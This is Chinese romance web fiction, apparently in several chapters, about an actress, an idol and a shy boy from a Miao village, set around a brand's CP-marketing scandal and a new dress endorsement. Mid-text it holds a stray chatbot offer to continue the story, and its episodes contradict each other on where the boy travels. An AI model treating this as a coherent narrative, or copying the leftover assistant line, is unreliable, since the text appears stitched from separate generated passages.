许金鑫的粉丝也迅速跟进，不满情绪同样强烈：“金鑫是新人，需要的是作品积累，不是靠炒cp卖周边圈钱！”“之前黎苏酥的闹剧还没平息，品牌这是故意引战，想让金鑫被骂捆绑前辈吗？”两方唯粉在评论区激烈对峙，原本和谐的cp粉圈也陷入分裂，部分理智粉直言“磕cp是私下的事，品牌公开售卖捆绑周边太败好感”，甚至抵制购买。 #爬爬奶茶过度消费cp# #爬爬奶茶强制捆绑消费# 两个话题迅速冲上热搜，负面评论如潮水般涌向品牌官博。有网友翻出此前品牌承诺“突出治愈陪伴，不过度消费cp”的声明，嘲讽其“翻脸比翻书快”；还有人质疑周边设计的版权问题，认为Q版形象未经充分授权，且部分单品质量与定价严重不符，完全是“借着热度割粉丝韭菜”。 远在横店片场的陈杬祝，刚拍完一场戏就收到了经纪人的紧急汇报。她点开品牌官旗页面，看着那些刻意强化cp感的周边，眼底的温度渐渐冷却。此前接下代言，正是看中品牌“清新治愈”的调性，如今却被商业营销裹挟，违背了最初的合作共识。她没有丝毫犹豫，让经纪人立刻联系品牌方：“要求立刻下架所有过度捆绑的cp周边，公开道歉并调整营销方案，否则将启动解约流程。” 许金鑫的工作室也同步发声，明确表示“反对任何形式的过度捆绑营销，希望品牌回归产品本身”。少年得知消息时，正在练习室打磨台词，他看着手机里粉丝的控诉，满心愧疚，立刻给陈杬祝发去微信：“杬祝姐，对不起，又给你带来麻烦了。” 陈杬祝的回复依旧温柔却坚定：“不关你的事，是品牌越界了。我们该守住的底线，不能妥协。” 压力之下，爬爬奶茶在当晚八点发布道歉声明，承认“营销策划未能充分尊重艺人与粉丝诉求，过度强化cp关联”，宣布即刻下架所有争议周边，优化购买规则，并承诺将剩余周边捐赠给公益项目。但这份姗姗来迟的道歉并未完全平息怒火，不少粉丝仍表示“不会再为品牌买单”，品牌口碑遭遇重创。 成都的民宿里，李诺言刷着热搜，气鼓鼓地对着沈司南和许祭抱怨：“爬爬奶茶也太过分了！好好的代言非要搞这些，把杬祝姐和金鑫哥哥都置于尴尬的境地！” 沈司南抱着熊猫玩偶，似懂非懂地点头：“不好，不该欺负杬祝姐姐。” 许祭揉了揉他的头发，轻声说道：“品牌想蹭热度没错，但不能触碰边界。尊重艺人，尊重粉丝，才能走得长远。” 横店的夜色中，陈杬祝站在保姆车外，看着远处片场的灯光。这场突如其来的营销风波，让她更加明确：无论是代言还是合作，守住底线、坚持本心才是最重要的。而许金鑫发来的那句“以后我会更谨慎，不让你再受这样的委屈”，则让她心底涌起一丝暖意。 爬爬奶茶的cp周边闹剧，终究成了一场得不偿失的营销事故。而陈杬祝与许金鑫，在这场风波中更加坚定了彼此的边界，他们的关系，从未因外界的过度解读与消费，有过半分动摇。 需要我帮你续写这场风波后，陈杬祝和许金鑫的首次公开同框互动，突出两人的默契与边界感吗？ 成都民宿的午后，阳光透过窗棂，在地板上织就一片斑驳的光影。沈司南坐在地毯上，怀里抱着圆滚滚的熊猫玩偶，指尖捏着那串泛着淡蓝光晕的萤石手链。许祭坐在他身侧，正低头帮他整理着散落在膝头的画册，画册上画着宽窄巷子的红灯笼，还有熊猫基地里啃竹子的幼崽。 手机屏幕亮了又亮，绫司司和李诺言在一旁义愤填膺地刷着爬爬奶茶的热搜，骂声里满是对陈杬祝的心疼。沈司南抬眼，看着她们手机屏幕上不断滚动的负面评论，长睫垂落，遮住了眼底的情绪。他不懂什么是“过度消费cp”，也不懂什么是“品牌割韭菜”，但他知道，陈杬祝姐姐被人议论了，被人欺负了。 就像当初，旭念安用那些恶毒的话骂他一样。 那时候，是陈杬祝姐姐站出来，用一句“你不要骗我好不好，你也是人”，帮他撕开了心底的枷锁。现在，轮到他了。 沈司南轻轻挣开许祭的手，捧着手机走到窗边。他的微博界面依旧干净，灰色的系统头像下，只有两条动态——一条是孤零零的“？”，一条是与许祭同步的“过去的事情就过去吧，cp的事情在想一想”。 他的指尖在屏幕上缓慢地敲击，一字一句，带着属于他的执拗与坚定。没有复杂的辞藻，没有华丽的修饰，只有最直白的信任与陪伴，末尾清晰地@了陈杬祝的账号： @杬祝 相信你，陪着你 发送成功的提示弹出时，沈司南的手指微微一顿，随即锁屏，将手机重新揣回口袋，仿佛只是做了一件再平常不过的小事。 可这条微博，却像一道温暖的光，瞬间刺破了全网的阴霾。 第一个发现的，是一直蹲守在沈司南微博下的粉丝。当那个灰色头像旁亮起小红点，当那句“相信你，陪着你”出现在时间线上时，粉丝们瞬间泪目，截图、转发、评论，一气呵成： 「天呐！司南发微博了！是为了杬祝姐！」 「“相信你，陪着你”！这六个字，比千言万语都更戳心！」 「司南一定是看到杬祝姐被骂了，才站出来的！他还记得当初杬祝姐是怎么守护他的！」 「双向的守护太好哭了！当初你护我周全，现在我陪你面对！」 微博的推送机制瞬间启动，#沈司南相信你陪着你# #沈司南为陈杬祝发声# #双向守护沈司南陈杬祝# 三个话题以雷霆之势冲上热搜，瞬间压过了爬爬奶茶的负面词条。 横店的《绫霄笙笙》剧组，陈杬祝刚结束一场情绪激烈的戏，正坐在保姆车里补妆。手机震个不停，助理匆匆将手机递到她面前，声音里带着激动与哽咽：“杬祝姐！司南发微博了！他@你了！” 陈杬祝的手猛地一顿，粉扑停在脸颊旁。她一把抢过手机，看到那条微博时，眼底的红血丝瞬间被温热的泪水覆盖。那六个字，像一颗糖，轻轻砸在她的心尖上，又像一股暖流，瞬间涌遍全身。 她想起当初，沈司南发那条只有一个“？”的微博时，眼底的茫然与痛苦。想起自己那句“你不要骗我好不好，你也是人”，是如何撬开他紧闭的心门。而现在，这个曾经需要她守护的孩子，正用他最纯粹的方式，站在她的身边，告诉全世界，他相信她，他陪着她。 陈杬祝几乎是立刻，就在沈司南的微博下回复了。她的评论，没有多余的话，只有一个温暖的拥抱表情，和一句简单的话： 「谢谢你，司南。」 这条回复瞬间被顶上热评第一。粉丝们纷纷跟上，用自己的方式，回应着这份双向的守护： 「杬祝姐别哭！我们都相信你！我们都陪着你！」 「司南太懂事了！双向的守护真的太好磕了！」 「爬爬奶茶看看！这才是真正的温暖！不是你那套过度消费的营销！」 远在成都的民宿里，许祭看着沈司南发完微博后，又安静地坐回地毯上抱着熊猫玩偶，眼底满是宠溺与骄傲。绫司司和李诺言刷到微博时，瞬间红了眼眶，李诺言扑到沈司南身边，一把抱住他，声音里带着哭腔：“司南！你太厉害了！你这是在为杬祝姐撑腰啊！” 沈司南被她抱得微微一僵，随即轻轻拍了拍她的后背，声音软糯却坚定：“杬祝姐姐很好，不能被欺负。” 许祭走到他身边，轻轻揉了揉他的头发，声音温柔：“嗯，我们都陪着杬祝姐姐。” 而练习室里的许金鑫，看到沈司南的微博时，眼底的愧疚瞬间被温暖取代。他立刻给陈杬祝发去微信，文字里带着坚定的守护：“杬祝姐，我也相信你，我也陪着你。爬爬奶茶的事情，我会和工作室一起，跟品牌方沟通到底。” 陈杬祝的回复很快，带着一丝释然的笑容：“好。我们一起。” 成都的阳光，依旧温暖。 横店的风，依旧温柔。 沈司南的微博，依旧挂在热搜榜首。 那条“相信你，陪着你”的微博，被无数人转发与点赞。它没有华丽的辞藻，却有着最纯粹的力量。它告诉所有人，在这个光怪陆离的娱乐圈里，不仅有纷争与算计，还有着双向的守护，与最纯粹的信任。 沈司南是沈司南，是苗寨的祭祀，是那个曾经迷茫的孩子。 但他也是那个，会在陈杬祝需要的时候，站出来说“相信你，陪着你”的人。 陈杬祝是陈杬祝，是万众瞩目的女演员，是那个坚定的姐姐。 但她也是那个，会被沈司南的六个字，轻易打动的人。 爬爬奶茶的负面风波，还在继续。 但陈杬祝的心底，已经春暖花开。 因为她知道，她的身边，有沈司南的信任，有许金鑫的陪伴，有李诺言的想念，有许祭的支持，还有无数粉丝的守护。 她从来都不是一个人。 22. 欢迎回家 爬爬奶茶的官方微博，在沉默了整整十二个小时后，终于发布了一条声明。 没有道歉，没有解释，只有官样文章般的“感谢各位消费者的关注与监督，品牌方将秉持初心，为消费者提供优质产品与服务”。字里行间的敷衍，像一根刺，狠狠扎在所有为陈杬祝鸣不平的人心里。 声明发布的瞬间，#爬爬奶茶声明敷衍# 瞬间冲上热搜。粉丝们的怒火彻底被点燃，评论区里满是对品牌方的声讨，还有人自发组织起了抵制活动，呼吁大家拒绝为这种“消费艺人、漠视粉丝”的品牌买单。 陈杬祝的工作室，也在第一时间发布了正式声明。白纸黑字，条理清晰：明确表示与爬爬奶茶的合作已进入终止流程，品牌方的一系列操作未与艺人及工作室沟通，对艺人声誉造成了严重影响，工作室将保留追究其法律责任的权利。 声明的最后，附着一张陈杬祝手写的便签照片。字迹清秀，却带着不容置疑的坚定：“感恩所有信任与陪伴，前路漫长，我会带着初心，继续前行。” 横店的夜色，渐渐笼罩了整个剧组。陈杬祝结束了一天的拍摄，没有立刻回保姆车，而是站在片场的角落里，抬头望着天上的星星。手机里，是许金鑫发来的消息，说品牌方已经联系了他的工作室，态度依旧强硬，但他绝不会妥协。还有绫司司和李诺言发来的截图，是她们在粉丝群里组织大家理性维权的聊天记录。 以及，沈司南发来的一张照片。 照片里，是成都民宿的窗台上，摆着的那只圆滚滚的熊猫玩偶，玩偶的手里，还捏着那串泛着淡蓝光晕的萤石手链。照片的背景，是依旧温暖的阳光，在地板上织就的斑驳光影。 没有配文，却胜过千言万语。 陈杬祝的嘴角，不自觉地向上扬起。她低头，给沈司南回了一张照片——是她刚收到的，粉丝们寄来的礼物，一个绣着熊猫和星星的抱枕。 发送成功的瞬间，手机震动了一下。是许祭发来的微信：“司南今天下午一直在看熊猫基地的直播，说等回去了，要带杬祝姐姐去看刚出生的熊猫幼崽。” 陈杬祝的眼眶，又一次微微发热。她快速回复：“好啊，我等他。” 成都的民宿里，沈司南正趴在地毯上，看着手机里陈杬祝发来的抱枕照片，指尖轻轻点着屏幕。许祭坐在他身边，翻看着手里的画册，画册的最后一页，是沈司南刚画的画——一个穿着戏服的姐姐，身边站着一个抱着熊猫玩偶的小男孩，他们的头顶，是漫天的星星。 “画得很好。”许祭的声音，带着温柔的笑意。 沈司南抬起头，长睫轻轻颤动：“等杬祝姐姐来了，把画送给她。” “嗯。”许祭揉了揉他的头发，“到时候，我们一起去宽窄巷子，一起去熊猫基地。” 绫司司和李诺言，正窝在沙发上，刷着微博。看到陈杬祝工作室的声明，看到粉丝们的理性维权，看到越来越多的路人加入到声援陈杬祝的队伍里，两个人的脸上，终于露出了释然的笑容。 “你看，”绫司司指着屏幕，“越来越多的人站在杬祝姐这边了。” “那是当然，”李诺言的声音，带着骄傲，“杬祝姐那么好，司南又那么勇敢，我们怎么会输。” 练习室里的许金鑫，刚结束一天的训练。汗水浸湿了他的训练服，却丝毫没有掩盖他眼底的坚定。他看着手机里，陈杬祝工作室的声明，手指快速敲击着屏幕，给工作室的负责人发去消息：“一切按照计划进行，我全力配合。” 他知道，这场仗，不好打。但他更知道，他不能让陈杬祝一个人面对。就像沈司南说的，杬祝姐姐很好，不能被欺负。 时间，在无声的守护与坚定的抗争中，悄然流逝。 三天后，爬爬奶茶终于扛不住舆论的压力，发布了第二条声明。这一次，声明里终于出现了“道歉”二字，不仅向陈杬祝公开道歉，还宣布了与陈杬祝的合作正式终止，同时承诺将对品牌的营销团队进行全面整顿。 声明发布的那一刻，陈杬祝正在拍摄一场夜戏。当助理把这个消息告诉她时，她只是微微点了点头，继续投入到拍摄中。 镜头里的她，眼神坚定，气场全开。仿佛那些天的风雨，都只是她人生路上的一场小插曲，没有让她倒下，反而让她更加坚韧。 戏拍完后，导演走到她身边，拍了拍她的肩膀：“杬祝，好样的。” 陈杬祝笑了笑，笑容里带着释然，也带着成长。 她的手机里，塞满了来自四面八方的祝福。沈司南的消息依旧简单，只有一句“杬祝姐姐，开心”。许金鑫的消息里，带着一丝轻松：“杬祝姐，我们赢了。”绫司司和李诺言的消息，更是充满了雀跃：“杬祝姐！爬爬奶茶道歉了！我们太牛了！” 陈杬祝一一回复，最后，她点开了沈司南的聊天框，发了一张自己穿着戏服，对着镜头比耶的照片。 成都的民宿里，沈司南看到照片的瞬间，眼睛瞬间亮了起来。他抱着熊猫玩偶，跑到窗边，对着窗外的阳光，露出了一个大大的笑容。 许祭站在他身后，看着他的背影，眼底的宠溺，几乎要溢出来。 他知道，这场风波，终于落下了帷幕。 但他更知道，这不是结束，而是新的开始。 沈司南会继续做那个纯粹的自己，带着苗寨的印记，带着身边人的爱，慢慢长大。陈杬祝会继续在她的演艺道路上，坚定前行，用作品说话，用实力证明自己。 而他们之间的双向守护，会像成都的阳光，像横店的星星，像那串泛着淡蓝光晕的萤石手链，像那只圆滚滚的熊猫玩偶，永远温暖，永远纯粹。 几天后，沈司南和许祭结束了在成都的行程，准备返回北京。临走前，沈司南特意去了一趟熊猫基地，买了一个小小的熊猫挂件，小心翼翼地放进了口袋里。 “这是给杬祝姐姐的吗？”许祭问道。 沈司南用力点头，声音软糯：“嗯，杬祝姐姐会喜欢的。” 飞机起飞的那一刻，沈司南靠在许祭的肩膀上，看着窗外渐渐变小的成都城，指尖轻轻捏着口袋里的熊猫挂件。 他在心里默默想着，等下次见到杬祝姐姐，一定要把挂件送给她，还要带她去看熊猫幼崽，去吃宽窄巷子的小吃。 而远在横店的陈杬祝，刚结束《绫霄笙笙》的拍摄，正在收拾行李。她的行李箱里，放着沈司南画的那幅画，放着粉丝们送的熊猫抱枕，还有一份她特意为沈司南准备的礼物——一套苗寨风格的银饰小挂件。 她看着手机里，许祭发来的航班信息，嘴角的笑容，温柔而明亮。 她在心里默默想着，等司南回来，一定要带他去吃他最爱的甜品，还要告诉他，他的出现，就像一道光，照亮了她的世界。 北京的风，带着一丝凉意。但当沈司南走出机场，看到不远处站着的陈杬祝时，心底的温暖，瞬间涌遍全身。 陈杬祝穿着一件浅色的风衣，头发随意地披在肩上，看到沈司南的瞬间，她的眼睛亮了起来，快步走上前，轻轻抱住了他。 “司南，欢迎回来。” 沈司南的身体微微一僵，随即伸出手臂，轻轻回抱住她，声音软糯却坚定：“杬祝姐姐，我回来了。” 许祭站在一旁，看着相拥的两人，眼底满是温柔的笑意。 阳光透过机场的玻璃，洒在他们身上，织就一片温暖的光影。 就像他们的故事，永远充满了温暖与守护，永远带着纯粹与坚定。 未来的路还很长，但他们知道，他们从来都不是一个人。 因为他们的身边，有彼此的信任，有朋友的陪伴，有粉丝的守护，还有无数个，充满希望的明天。 横店的清晨总是带着薄雾，陈杬祝坐在保姆车的化妆镜前，指尖轻轻拂过手机屏幕上刚修完的宣传大片。镜子里的她，长发松松挽成低髻，耳侧垂着几缕碎发，身上那件米白色的诺雅桑蚕丝长裙，裙摆垂坠出温柔的弧度，领口的手工刺绣在晨光里泛着细腻的光泽。 助理将热好的牛奶递到她手边，声音里带着难掩的雀跃：“杬祝姐，诺雅那边已经确认好了，十点整发微博，官博和我们这边同步。” 陈杬祝点点头，指尖在屏幕上滑动，最后停留在那张她坐在咖啡馆窗边的照片上。复古印花的中长裙包裹着她的身形，窗外的阳光透过玻璃落在裙身的褶皱上，像撒了一把细碎的金箔。她想起昨天拍摄时，品牌方负责人说的话——“诺雅想找的，从来不是一个只会穿裙子的代言人，而是一个能懂‘优雅是不被定义的美’的女性。” 那时她笑着回：“我想，我们对美的理解，是同频的。” 手机屏幕上方的时间，一点点跳到十点整。 陈杬祝深吸一口气，指尖按下发送键。 微博的编辑页面里，没有繁复的辞藻，只有她反复斟酌过的文字，和三张精心挑选的宣传大片。 “新程启幕，浪漫同频。很荣幸官宣，成为「诺雅Naya」连衣裙品牌代言人?? 一直相信，好的服饰是女性内心的延伸——它不必被定义，可温柔缱绻，可松弛自在，也可在一针一线的匠心中，藏着不被束缚的生命力。 诺雅的设计恰是如此：软滑亲肤的面料贴合身形，立体剪裁勾勒从容线条，无论是日常通勤的简约雅致，还是闲暇时光的浪漫随性，都能让每个女孩在穿搭中找到最舒展的自己??就像它所传递的，优雅从不是刻意雕琢，而是源于内心的自在与坚定。 未来，愿与诺雅一同，以裙为媒，赴一场关于成长与美好的约定。让每一次裙摆摇曳，都成为写给生活的温柔诗行，陪你走过四季晴雨，遇见更鲜活的自己～ #陈杬祝 诺雅品牌代言人# #诺雅连衣裙 自在成风# #优雅是不被定义的美#” 发送成功的提示弹出时，保姆车里的气氛瞬间活跃起来。助理刷着微博，声音越来越激动：“火了火了！杬祝姐，评论区已经爆了！诺雅官博的转发也已经有上万赞了！” 陈杬祝笑着接过手机，指尖划过屏幕。 粉丝们的评论像潮水般涌来： 「天呐！杬祝姐的新代言！诺雅的裙子也太适合你了吧！」 「“优雅是不被定义的美”！这句话说到我心坎里了！杬祝姐就是最好的代言人！」 「米白色长裙那张图杀我！这是什么神仙氛围感！我已经去诺雅旗舰店了！」 「爬爬奶茶那波操作算什么！我们杬祝姐的商业价值从来都不需要质疑！」 「双向奔赴！诺雅找杬祝姐代言，真的是最正确的选择！」 几乎是同时，#陈杬祝 诺雅品牌代言人# 的话题，以惊人的速度冲上热搜榜。点进话题里，全是她的宣传大片，和粉丝们的疯狂打call。诺雅旗舰店的客服瞬间被挤爆，好几款在宣传照里出现的连衣裙，直接被抢断了货。 陈杬祝的指尖，停留在一条粉丝的评论上——「当初你被质疑时，我们陪你扛过风雨。现在你身披荣光，我们为你欢呼雀跃。陈杬祝，你值得所有最好的。」 她的眼底微微发热，指尖轻轻敲下一条回复：「谢谢你们，一直都在。」 这条回复瞬间被顶上热评第一，点赞数飞速飙升。 这时，手机震了一下，是沈司南发来的消息。没有文字，只有一张图片——是他抱着熊猫玩偶，身上披着一条许祭的浅色衬衫，衬衫的下摆被他扯得长长的，模仿着裙摆摇曳的样子。图片的下方，是一个歪歪扭扭的笑脸表情。 陈杬祝瞬间笑出了声，眼底的温热化作温柔的笑意。她快速回复：「我们司南的‘裙摆’，也很可爱呀～」 几乎是立刻，沈司南的消息又发了过来：「杬祝姐姐，裙子好看。我喜欢。」 简单的八个字，却像一颗甜甜的糖，轻轻落在陈杬祝的心尖上。 她抬头，看向窗外。薄雾已经散去，阳光透过树叶的缝隙洒下来，落在保姆车的玻璃上，折射出温暖的光芒。不远处的片场，工作人员已经开始忙碌起来，《绫霄笙笙》的拍摄还在继续，她的演艺道路，也依旧漫长。 但此刻，陈杬祝的心里，却充满了前所未有的平静与坚定。 爬爬奶茶的风波，就像一场突如其来的风雨，让她看清了很多人，也收获了很多温暖。而诺雅的代言，更像是风雨过后的一道彩虹，是对她的认可，也是对她的鼓励。 她拿起放在一旁的剧本，指尖轻轻拂过上面的台词。镜子里的她，依旧穿着那件米白色的桑蚕丝长裙，裙摆垂在地上，像一朵盛开的白色睡莲。 助理看着她，忍不住感叹：“杬祝姐，你今天状态真好。” 陈杬祝抬起头，对着镜子里的自己，露出了一个明媚的笑容：“因为，今天是个值得开心的日子。” 值得开心的，不仅是新代言的官宣，更是身边人的陪伴，是粉丝们的守护，是自己从未放弃的初心。 手机还在不断地震动着，有许金鑫发来的恭喜，有绫司司和李诺言的疯狂刷屏，还有许祭发来的，沈司南正拿着手机，对着屏幕里的她傻笑的照片。 陈杬祝的嘴角，始终挂着温柔的笑意。 她知道，未来的路，依旧会有风雨，依旧会有挑战。但她也知道，她从来都不是一个人。 有沈司南的信任，有许金鑫的陪伴，有朋友们的支持，有粉丝们的守护，还有诺雅这样的合作伙伴，与她一同，奔赴一场关于成长与美好的约定。 化妆镜前的灯光，温柔地打在她的脸上。陈杬祝放下手机，拿起唇刷，轻轻在唇上涂抹着豆沙色的口红。 镜中的女子，眼神坚定，笑容明媚。 裙摆轻扬，新程已启。 她的故事，才刚刚开始。 许金鑫刚结束练舞房的封闭训练，额发被汗水打湿贴在额角，手机屏幕的光映亮他眼底藏不住的笑意。指尖在微博编辑框里反复斟酌，最终敲下一段带着暗戳戳甜意的文字，配图是一张他练舞时的随手拍——黑色练功服的袖口，别着一枚和陈杬祝宣传照里同系列的诺雅定制珍珠纽扣，阳光透过练舞房的落地窗，在纽扣上折射出细碎的光。 「练完舞刷到新鲜的漂亮裙子，突然觉得，有些搭配，从一开始就注定了契合。?期待和『同频的人』，在更多美好的时刻相遇。」 末尾没有@任何人，却在发布的瞬间，被眼尖的粉丝捕捉到了细节。 最先炸开锅的是一直蹲守在许金鑫超话里的粉丝，有人截下他袖口的珍珠纽扣，飞速对比陈杬祝宣传照里诺雅连衣裙的领口装饰——同款的贝母底托，同款的碎钻镶嵌，甚至连纽扣边缘的纹路都分毫不差。 这条对比图刚在超话里发出，瞬间被疯狂转发，评论区的尖叫声几乎要冲破屏幕： 「卧槽！这纽扣！是诺雅的定制款吧！杬祝姐的宣传照里明明有！」 「『有些搭配从一开始就注定契合』？？？许金鑫你小子别太会！」 「同频的人？谁是同频的人我不说！这波暗糖我先嗑为敬！」 「练功服配高定纽扣？只有我注意到，这纽扣是别在袖口的吗？！特意找出来别上的吧！」 微博的推送机制瞬间被点燃，#许金鑫诺雅纽扣# #许金鑫同频的人# #金枝玉杬暗糖暴击# 三个话题以肉眼可见的速度爬上热搜，热度直逼陈杬祝官宣代言的主话题。 成都民宿里，李诺言正和绫司司一起刷着陈杬祝的微博，看到许金鑫的动态弹出时，手里的薯片“啪”地掉在地毯上。她一把抓住绫司司的胳膊，声音都在发颤：“司司！快看！许金鑫！他这是在内涵吧！他绝对是在内涵！” 绫司司的手指在屏幕上飞快滑动，看清那枚纽扣和配文的瞬间，眼睛瞪得溜圆：“我的天！这小子可以啊！暗戳戳的，比直接官宣还甜！” 沈司南正抱着熊猫玩偶坐在一旁，听到两人的惊呼，好奇地凑过来看。他的指尖点在许金鑫照片里的纽扣上，又点了点陈杬祝宣传照里的装饰，软糯的声音带着疑惑：“这个，和杬祝姐姐的，一样。” “何止是一样！”李诺言激动地晃着腿，“这是情侣款！许金鑫这是在告诉所有人，他和杬祝姐是一对！” 沈司南似懂非懂地点点头，小眉头轻轻皱起：“可是，他没有@杬祝姐姐。” “这你就不懂了吧！”绫司司伸手揉了揉他的头发，眼底满是笑意，“这叫暗糖！比明着说更甜！” 许祭坐在不远处的沙发上，目光落在三人的手机屏幕上，嘴角勾起一抹温柔的弧度。他拿出手机，给许金鑫发了条微信：“行啊，学会玩浪漫了。” 没过多久，许金鑫的回复就来了，带着一丝得意：“低调点，懂的都懂。” 横店的保姆车里，陈杬祝刚补完妆，正准备去片场。助理拿着手机匆匆跑过来，声音里带着难掩的激动：“杬祝姐！许金鑫发微博了！你快看！” 陈杬祝接过手机，目光落在那张练功服的照片上，当看到袖口那枚熟悉的珍珠纽扣时，眼底瞬间漫上一层温柔的笑意。她的指尖轻轻划过屏幕上的配文，“有些搭配从一开始就注定了契合”“同频的人”，这几句简单的话，像羽毛一样轻轻搔着她的心尖。 她想起昨天拍摄宣传照时，品牌方负责人曾笑着说，这系列的定制纽扣一共只做了十枚，除了宣传照里用的，剩下的都送给了代言人。她当时随手放了一枚在化妆包里，没想到，竟然被许金鑫偷偷拿走了一枚。 陈杬祝的嘴角忍不住向上扬起，指尖在屏幕上轻轻敲击，给许金鑫回了条微信：“练功服配高定纽扣，品味不错。” 几乎是立刻，许金鑫的消息就回了过来：“主要是，纽扣的主人，品味更好。” 陈杬祝的脸颊微微发烫，她快速锁屏，将手机揣回口袋，假装什么都没发生过。可眼底的笑意，却怎么也藏不住。 助理在一旁看得真切，忍不住调侃道：“杬祝姐，你这笑容，藏都藏不住了。” 陈杬祝轻轻瞪了她一眼，声音里却带着笑意：“别瞎说，快去片场吧。” 两人刚走到片场门口，就被导演叫住了。导演手里拿着手机，脸上带着促狭的笑意：“杬祝，你看了许金鑫的微博没？这小子，可以啊。” 陈杬祝的脸颊更烫了，她轻轻咳了一声，转移话题：“导演，我们该拍这场戏了。” 导演笑着摇了摇头，不再逗她：“行，准备一下，开拍。” 镜头里的陈杬祝，迅速进入状态，将角色的喜怒哀乐演绎得淋漓尽致。可没人知道，她的心里，正被许金鑫那枚暗戳戳的纽扣，填得满满当当。 微博上的热度还在持续发酵，#金枝玉杬是真的# 这个话题，竟然直接冲上了热搜榜一。粉丝们翻出了两人过往的同框瞬间，从颁奖典礼上的偷偷对视，到综艺里的下意识保护，再到这次的同款纽扣，每一个细节都被无限放大。 「家人们！谁懂啊！这波暗糖直接锤死了！金枝玉杬是真的！」 「从一开始就注定契合的搭配？我宣布，这是今年最甜的情话！」 「诺雅这波血赚啊！不仅有杬祝姐代言，还免费获得了一对情侣代言人！」 「以前磕的是友情，现在磕的是爱情！我站金枝玉杬！我永远站！」 就连诺雅的官方微博，都忍不住来蹭热度，转发了许金鑫的微博，配文：「诺雅定制纽扣，适配所有同频的灵魂～?」 这条转发，瞬间让评论区再次炸开锅，粉丝们纷纷留言： 「诺雅！你是不是知道什么！快说！」 「官方带头磕糖！这波我给满分！」 「诺雅！快出情侣款纽扣！我必买！」 许金鑫看着微博上的热度，眼底的笑意越来越浓。他拿起手机，给陈杬祝发了条消息：“看来，大家都很喜欢我们的‘搭配’。” 陈杬祝的回复很快，带着一丝娇嗔：“就你会玩。” 许金鑫看着屏幕上的文字，嘴角的弧度更大了。他知道，他们的故事，还很长。而这枚小小的纽扣，只是一个开始。 成都的阳光，依旧温暖。 横店的风，依旧温柔。 练舞房的落地窗，依旧映着那枚珍珠纽扣的光芒。 而微博上的热搜，依旧被陈杬祝和许金鑫的名字，牢牢占据着。 这一次，没有纷争，没有阴霾，只有满屏的甜蜜，和粉丝们的祝福。 因为他们都知道，有些搭配，从一开始就注定了契合。 而有些爱情，从一开始就注定了，会被所有人祝福。 成都双流机场的广播声里，藏着离别的温柔。沈司南怀里抱着圆滚滚的熊猫玩偶，另一只手被许祭轻轻牵着，指尖还捏着那串泛着淡蓝光晕的萤石手链。绫司司和李诺言红着眼眶，一遍又一遍地叮嘱着“到了苗寨一定要给我们发消息”“要记得吃糯米饭”“熊猫玩偶要好好照顾”。 沈司南用力点头，长睫垂落，遮住了眼底的不舍。他抬头看了看许祭，又看了看身边的两个姐姐，软糯的声音带着一丝鼻音：“会的，会发消息的。” 安检口前，许祭蹲下身，帮他理了理外套的衣领，声音温柔得像成都的阳光：“司南，我们很快就会去看你。苗寨的星星，一定和成都的一样亮。” “嗯。”沈司南伸出手臂，轻轻抱住了许祭的脖子，“许祭，等我回来。” “好。”许祭回抱住他，指尖轻轻拍着他的后背，“我等你。” 绫司司和李诺言也走上前，三人紧紧抱在一起。机场的人来人往，都成了模糊的背景，只有彼此的心跳声，清晰而温暖。 登机广播再次响起，沈司南终于松开了手。他背着小小的双肩包，怀里抱着熊猫玩偶，一步三回头地走进了安检口。直到他的身影消失在拐角处，许祭才缓缓直起身，眼底的宠溺里，藏着一丝不易察觉的牵挂。 飞机穿过云层，飞向那个沈司南魂牵梦萦的地方。窗外的天空，蓝得像一块纯净的宝石，云朵像棉花糖一样，轻轻漂浮着。沈司南靠在窗边，小脸上没有了往日的迷茫，取而代之的，是一种归乡的期待与坚定。 他从背包里拿出手机，点开了陈杬祝的聊天框。屏幕上，是陈杬祝昨天发来的照片——她穿着诺雅的米白色桑蚕丝长裙，站在梧桐树下，对着镜头比耶。沈司南的指尖轻轻划过屏幕，一字一句地敲下：“杬祝姐姐，我要回苗寨了。等我回来，给你带苗寨的银饰。” 发送成功的提示弹出时，手机很快震动了一下。是陈杬祝的回复，带着温柔的笑意：“好啊，姐姐等着司南的礼物。路上要小心，到了苗寨一定要告诉姐姐。” “嗯。”沈司南用力点头，仿佛陈杬祝就站在他的面前。 飞机降落时，已是傍晚。走出机场，一股熟悉的草木清香扑面而来。接他的是苗寨里的阿婆，阿婆的脸上满是慈祥的笑容，伸手接过他的背包，声音里带着浓浓的乡音：“司南，你可算回来了。” “阿婆。”沈司南扑进阿婆的怀里，软糯的声音里带着归乡的喜悦。 从机场到苗寨的路，蜿蜒而漫长。车子行驶在山间小路上，窗外的风景渐渐变得熟悉——层层叠叠的梯田，错落有致的吊脚楼，还有那漫山遍野的野花，都在向沈司南诉说着家乡的思念。 车子停在苗寨入口时，天已经黑了。苗寨里的灯火，星星点点，像散落在人间的星星。村民们早已等在那里，看到沈司南的身影，都热情地围了上来，递上香甜的糯米饭，送上亲手编织的花环。 “司南回来啦！” “这孩子，长高了不少！” “快进屋，阿婆给你炖了鸡汤！” 沈司南被大家围在中间，脸上洋溢着幸福的笑容。他一一接过大家的礼物，软糯的声音里带着感激：“谢谢大家，我回来了。” 走进那间熟悉的吊脚楼，一切都还是原来的样子。火塘里的火苗，跳跃着温暖的光芒；屋梁上挂着的玉米和辣椒，散发着丰收的香气；还有那扇小小的窗户，正对着满天的繁星。 阿婆端来一碗热气腾腾的鸡汤，放在沈司南的面前：“快喝吧，补补身子。” 沈司南接过鸡汤，轻轻喝了一口，温暖的汤汁顺着喉咙滑进胃里，瞬间驱散了一路的疲惫。他抬起头，看着阿婆慈祥的笑容，轻声说：“阿婆，我好想你。” “阿婆也想你啊。”阿婆伸手摸了摸他的头，“在外面，有没有受委屈？” 沈司南摇了摇头，眼底满是明亮的光芒：“没有。许祭对我很好，杬祝姐姐也对我很好，还有绫司司姐姐和李诺言姐姐，他们都很照顾我。” 他从背包里拿出熊猫玩偶，放在桌子上：“这是熊猫基地的熊猫，阿婆，你看，它很可爱。” “可爱，真可爱。”阿婆笑着点头，目光落在沈司南手腕上的萤石手链上，“这串手链，也很好看。” “是许祭送我的。”沈司南的指尖轻轻抚摸着萤石手链，声音里带着温柔，“还有，我认识了很多朋友，他们都对我很好。” 那天晚上，沈司南坐在火塘边，给阿婆讲了很多外面的故事——讲成都的宽窄巷子，讲熊猫基地里的幼崽，讲陈杬祝姐姐的温柔，讲许祭的陪伴，讲绫司司和李诺言的活泼，还有许金鑫哥哥的练功服和那枚珍珠纽扣。 